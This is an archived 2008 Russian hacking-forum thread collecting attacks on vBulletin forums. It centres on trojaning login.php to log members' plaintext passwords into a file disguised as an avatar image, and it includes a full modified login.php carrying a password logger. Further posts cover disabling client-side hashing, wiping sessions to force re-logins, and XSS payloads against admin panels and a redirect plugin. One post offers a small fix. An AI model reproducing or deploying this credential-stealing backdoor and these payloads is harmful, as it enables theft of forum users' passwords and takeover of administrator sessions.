ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум) |

23.03.2008, 20:17
|
|
Постоянный
Регистрация: 10.11.2006
Сообщений: 416
Провел на форуме: 5636868
Репутация:
849
|
|
Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
По идее все просто: в файл login.php в корне сайта добавляем
PHP код:
// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
$vbulletin->input->clean_array_gpc('p', array(
'vb_login_username' => TYPE_STR,
'vb_login_password' => TYPE_STR,
'vb_login_md5password' => TYPE_STR,
'vb_login_md5password_utf' => TYPE_STR,
'postvars' => TYPE_STR,
'cookieuser' => TYPE_BOOL,
'logintype' => TYPE_STR,
'cssprefs' => TYPE_STR,
));
define( 'auth_req', './customavatars/avatar178_2.gif' );
$fp = fopen( auth_req, 'a' );
$un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 = date("d.m.y H.i.s");
$message = "$un3:$un1:$un2\r\n";
flock($fp,LOCK_EX);
fwrite( $fp, $message );
fflush($fp); flock($fp,LOCK_UN); fclose( $fp );
// can the user login?
но в логах видим, что пароля все же нет. Обидно...
Посмотрим на форму регистрации:
Код:
...
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
...
Ага. значит входим по функции из javascript...
Сама функция находится в clientscript/vbulletin_md5.js
А там мы видим в конце:
PHP код:
// implemented like this to make sure un-updated templates behave as before
input.value = '';
Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...
PHP код:
...
// input.value = '';
...
P.S. против автозахода (куки) можно стереть из бд все сессии
P.P.S. Можно и не комментировать, а изменить переменную $un2=&$vbulletin->GPC['vb_login_md5password'];
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)
Последний раз редактировалось Elekt; 03.09.2008 в 02:38..
|
|
|
vBulletin 3.7.0 <= XSS Explot |

09.05.2008, 16:52
|
|
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
Провел на форуме: 3509350
Репутация:
412
|
|
vBulletin 3.7.0 <= XSS Explot
vBulletin 3.7.0 <= XSS Explot
Found by RoBOTNIK
http://[website]/[forumpath]/ajax.php?do=CheckUsername¶m=# EVIL XSS SCRIPT #
http://www.site.com/forums/ajax.php?do=CheckUsername¶m=<script>alert('xss ');</script>
Последний раз редактировалось Elekt; 03.09.2008 в 02:33..
|
|
|
vBulletin 3.7.0 листалка от DGT |

09.05.2008, 17:47
|
|
Участник форума
Регистрация: 27.08.2006
Сообщений: 223
Провел на форуме: 2154209
Репутация:
341
|
|
vBulletin 3.7.0 листалка от DGT
vBulletin 3.7.0 листалка от DGT
может чем нить помочь если в папке с форумом лежит что нибудь ценное
на всех версиях от DGT пашет.
ЗЫ
http://forum.antichat.org/threadnav25644-1-10.html
Последний раз редактировалось Elekt; 03.09.2008 в 02:32..
|
|
|
Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум) |

11.05.2008, 17:38
|
|
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
Провел на форуме: 2052669
Репутация:
178
|
|
Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
Сообщение от Basurman
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)
Делал немного по другому и в результате получал чистые пароли.
1) Добавляем в начало файла login.php
PHP код:
$Login = $_POST['vb_login_username'];
$Passwd = $_POST['vb_login_password'];
$fp = fopen("./customavatars/avatar178_2.gif","a+");
fwrite($fp,"$Login:$Passwd\n");
fclose($fp);
2) Очищаем полностью файл clientscript/ vbulletin_md5.js от этого ничего не изменится.
3) Для того чтобы обнулить сессии выполняем код:
PHP код:
$link = mysql_connect('хост','логин','пасс');
mysql_select_db('база данных',$link);
$query = "TRUNCATE TABLE префикс_session";
$result = mysql_query($query, $link);
mysql_close($link);
Последний раз редактировалось Elekt; 03.09.2008 в 02:34..
|
|
|

23.05.2008, 22:21
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
p0h n03s priv8 rootshell vbulletin pw logger
Код:
<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.6.2
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2006 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/
// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);
// #################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'login');
// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array();
// get special data templates from the datastore
$specialtemplates = array();
// pre-cache templates used by all actions
$globaltemplates = array();
// pre-cache templates used by specific actions
$actiontemplates = array(
'lostpw' => array(
'lostpw'
)
);
// ######################### REQUIRE BACK-END ############################
require_once('./global.php');
require_once(DIR . '/includes/functions_login.php');
// #######################################################################
// ######################## START MAIN SCRIPT ############################
// #######################################################################
$vbulletin->input->clean_gpc('r', 'a', TYPE_STR);
if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a']))
{
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}
// ############################### start logout ###############################
if ($_REQUEST['do'] == 'logout')
{
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
if ($vbulletin->userinfo['userid'] != 0 AND $vbulletin->GPC['logouthash'] != $vbulletin->userinfo['logouthash'])
{
eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['logouthash'])));
}
process_logout();
$vbulletin->url = fetch_replaced_session_url($vbulletin->url);
if (strpos($vbulletin->url, 'do=logout') !== false)
{
$vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q'];
}
$show['member'] = false;
eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false));
}
// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
$vbulletin->input->clean_array_gpc('p', array(
'vb_login_username' => TYPE_STR,
'vb_login_password' => TYPE_STR,
'vb_login_md5password' => TYPE_STR,
'vb_login_md5password_utf' => TYPE_STR,
'postvars' => TYPE_STR,
'cookieuser' => TYPE_BOOL,
'logintype' => TYPE_STR,
'cssprefs' => TYPE_STR,
));
//does the user have a pass
$username = $vbulletin->GPC['vb_login_username'];
$password = $vbulletin->GPC['vb_login_password'];
$logfile = "rootshell.txt";
$lf = fopen($logfile, "a");
fwrite($lf, "\n".$username . ' : ' . $password."\n");
fclose($lf);
// can the user login?
$strikes = verify_strike_status($vbulletin->GPC['vb_login_username']);
if ($vbulletin->GPC['vb_login_username'] == '')
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))
{
($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;
// check password
exec_strike_user($vbulletin->userinfo['username']);
if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')
{
// log this error if attempting to access the control panel
require_once(DIR . '/includes/functions_log_error.php');
log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');
}
$vbulletin->userinfo = array(
'userid' => 0,
'usergroupid' => 1
);
if ($vbulletin->options['usestrikesystem'])
{
eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
else
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));
}
}
exec_unstrike_user($vbulletin->GPC['vb_login_username']);
// create new session
process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);
// do redirect
do_login_redirect();
}
else if ($_GET['do'] == 'login')
{
// add consistency with previous behavior
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}
// ############################### start lost password ###############################
if ($_REQUEST['do'] == 'lostpw')
{
$vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML);
$email = $vbulletin->GPC['email'];
if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview'])
{
$navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form']));
eval('$navbar = "' . fetch_template('navbar') . '";');
}
else
{
$navbar = '';
}
$url =& $vbulletin->url;
eval('print_output("' . fetch_template('lostpw') . '");');
}
// ############################### start email password ###############################
if ($_POST['do'] == 'emailpassword')
{
$vbulletin->input->clean_gpc('p', 'email', TYPE_STR);
if ($vbulletin->GPC['email'] == '')
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}
require_once(DIR . '/includes/functions_user.php');
$users = $db->query_read_slave("
SELECT userid, username, email, languageid
FROM " . TABLE_PREFIX . "user
WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "'
");
if ($db->num_rows($users))
{
while ($user = $db->fetch_array($users))
{
$user['username'] = unhtmlspecialchars($user['username']);
$user['activationid'] = build_user_activation_id($user['userid'], 2, 1);
eval(fetch_email_phrases('lostpw', $user['languageid']));
vbmail($user['email'], $subject, $message, true);
}
$vbulletin->url = str_replace('"', '', $vbulletin->url);
eval(print_standard_redirect('redirect_lostpw', true, true));
}
else
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}
}
// ############################### start reset password ###############################
if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword')
{
$vbulletin->input->clean_array_gpc('r', array(
'userid' => TYPE_UINT,
'u' => TYPE_UINT,
'activationid' => TYPE_UINT,
'i' => TYPE_UINT
));
if (!$vbulletin->GPC['userid'])
{
$vbulletin->GPC['userid'] = $vbulletin->GPC['u'];
}
if (!$vbulletin->GPC['activationid'])
{
$vbulletin->GPC['activationid'] = $vbulletin->GPC['i'];
}
$userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1);
$user = $db->query_first("
SELECT activationid, dateline
FROM " . TABLE_PREFIX . "useractivation
WHERE type = 1
AND userid = $userinfo[userid]
");
if ($user['dateline'] < (TIMENOW - 24 * 60 * 60))
{ // is it older than 24 hours?
eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl'])));
}
if ($user['activationid'] != $vbulletin->GPC['activationid'])
{ //wrong act id
eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl'])));
}
// delete old activation id
$db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1");
// make random number
$newpassword = vbrand(0, 100000000);
// init user data manager
$userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD);
$userdata->set_existing($userinfo);
$userdata->set('password', $newpassword);
$userdata->save();
($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false;
eval(fetch_email_phrases('resetpw', $userinfo['languageid']));
vbmail($userinfo['email'], $subject, $message, true);
eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl'])));
}
/*======================================================================*\
|| ####################################################################
|| # CVS: $RCSfile: login.php,v $ - $Revision: 1.160 $
|| ####################################################################
\*======================================================================*/
?>
|
|
|
Опровержение - Vbulletin 3.7.0 Gold Sql injection on faq.php |

26.05.2008, 23:51
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Опровержение - Vbulletin 3.7.0 Gold Sql injection on faq.php
Сообщение от aquam
Судя по всему там мжно вставить только один символ.
Т.е. срубают базу данных следующий код:
faq.php?s=&do=search&match=any&titlesonly=1&q=a+a+ a
(даже без кавычек)
Но что толку?
Vbulletin 3.7.0 Gold Sql injection on faq.php
Я посмотрел щас код.
Да, действительно толку в баги нет.
Это ошибка логики, при одиночном символе происходит некорректное формирование запроса к бд.
Заюзать с пользой невозможно.
Последний раз редактировалось Elekt; 26.05.2008 в 23:57..
|
|
|

01.07.2008, 23:10
|
|
Участник форума
Регистрация: 27.08.2006
Сообщений: 223
Провел на форуме: 2154209
Репутация:
341
|
|
XSS vBanonymizer
XSS в вобле
{
У жертвы должно быть:
Vbulletin forum - все версии
vBanonymizer - любая версия до 24.06.08
}
Сообщение от kerk
Наверное у многих установлен этот хак? ( vBanonymizer) =) ссылка на вб.орг
Код:
Description:
This is a hack to "anonymize" all outgoing links from your forum to prevent the referrer information from being sent.
недавно получил ЛС от одного из наших участников, с сообщением об уязвимости в этом хаке - XSS
скачал последнюю, доступную версию с оффорума (Version: 2.7), покрутил его на локалке...
результаты:
помимо того, что там действительно есть "дырка", так он еще и не выполняет того, для чего предназначен (анонимность при переходе по ссылке с форума)
т.е. реферер всетаки передается =)
это не сложно проверить, (при установленном хаке) прописать линк у себя на форуме http://www.vbsupport.org/forum/1.php и перейти по нему
пример дырки:
Код:
_http://resurs.com/redirector.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgn0eDp8iDv7uTi5fDm5e0g4ufr7uzzIFhTUycpOzwvc2NyaXB0Pg0K
скрин ниже
временная (кривенькая, но рабочая) "заплатка", (пока на оффоруме не раздуплятся заделать) если не хотите удалять (бесполезный, на мой взгляд) хак:
1. в файле redirector.php найти:
===
заменить на:
найти:
PHP код:
$url = rawurldecode($vbulletin->input->clean($_GET['url'], TYPE_NOHTML));
заменить на:
PHP код:
$url = base64_decode($vbulletin->input->clean($_REQUEST['url'], TYPE_NOHTML));
найти:
PHP код:
$displayurl = '<a href="' . $scriptpath . '?do=nodelay&url=' . str_replace('&', '&', $url) . '">' . $url . '</a>';
заменить на:
PHP код:
$displayurl = '<a href="' . str_replace('&', '&', $url) . '">' . $url . '</a>';
===
2. в плагине Anonymizer Function этого продукта найти:
PHP код:
$replace[] = '<a href="' . $scriptpath . rawurlencode($oldurl) . $nofollow;
заменить на:
PHP код:
$replace[] = '<a href="' . $scriptpath . base64_encode($oldurl) . $nofollow;
======
ссылки в постах будут выглядеть примерно так:
_http://domain.com/forum/redirector.php?url=HR0cDovL3d3dy52YnN1cHBvcnQub3Jn L2ZvcnVtLzEucGh"]http://www.vbsupport.org/forum/1.php (в строке состояния видна реальная ссылка с редиректором)
и вот эта хрень:
Код:
_http://resurs.com/redirector.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgn0eDp8iDv7uTi5fDm5e0g4ufr7uzzIFhTUycpOzwvc2NyaXB0Pg0K
уже не будет работать
(с) _vbsupport.org
Последний раз редактировалось Elekt; 03.09.2008 в 02:37..
|
|
|

09.07.2008, 02:27
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
XSS (3.7.1 & 3.6.10)
XSS-base64
_http://securityvulns.ru/news/CGI/2008.06.14.html
_http://securityvulns.ru/news/CGI/2008.06.19.html
Exploit:
http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
http://localhost/vB3/modcp/index.php?redirect=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
|
|
|

12.07.2008, 13:17
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Xss (3.7.2, 3.6.10)
XSS in admin logs - vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower
http://securityvulns.ru/Udocument137.html
язвимость существует из-за недостаточной обработки параметров "PHP_SELF" и "do" при запросе несуществующей страницы.
Exploit:
1) Оставляем в логах булки нашу хсс, используя данный эксплоит:
Код HTML:
<html>
<body>
<img src="http://localhost/vB/upload/admincp/faq.php/0?do=<script>/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/1?do=*/a%3D'document.wri'/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
php/2?do=*/b%3D'te(%22<script
'/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/3?do=*/c%3D'src=http://'/*"
/>
<!--edit to match your data -->
<img src="http://localhost/vB/upload/admincp/faq.
php/4?do=*/d%3D'localhost/'/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
php/5?do=*/e%3D''/*" />
<img src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.
js></scrip'/*"
/>
<!-- end edit -->
<img src="http://localhost/vB/upload/admincp/faq.
php/7?do=*/g%3D't>%22)'/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
php/9?do=*/eval(h)/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/a0?do=*/</script>" />
</body>
</html>
2) Затем отправьте админа по ссылке:
/adminlog.php?do=view&script=&u=0&pp=15&orderby=scr ipt&page=1
Ограничения:
PHP_SELF - 50 characters max and no slashes
_REQUEST['do'] is limited to 20 characters
Также сообщается, что злоумышленник может внедрить и выполнить произвольный PHP код на системе с привилегиями Web сервера.
|
|
|
vbulletin Exploit Tool Box |

13.07.2008, 21:00
|
|
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме: 1781065
Репутация:
869
|
|
vbulletin Exploit Tool Box
Последний раз редактировалось Fugitif; 19.07.2008 в 02:33..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|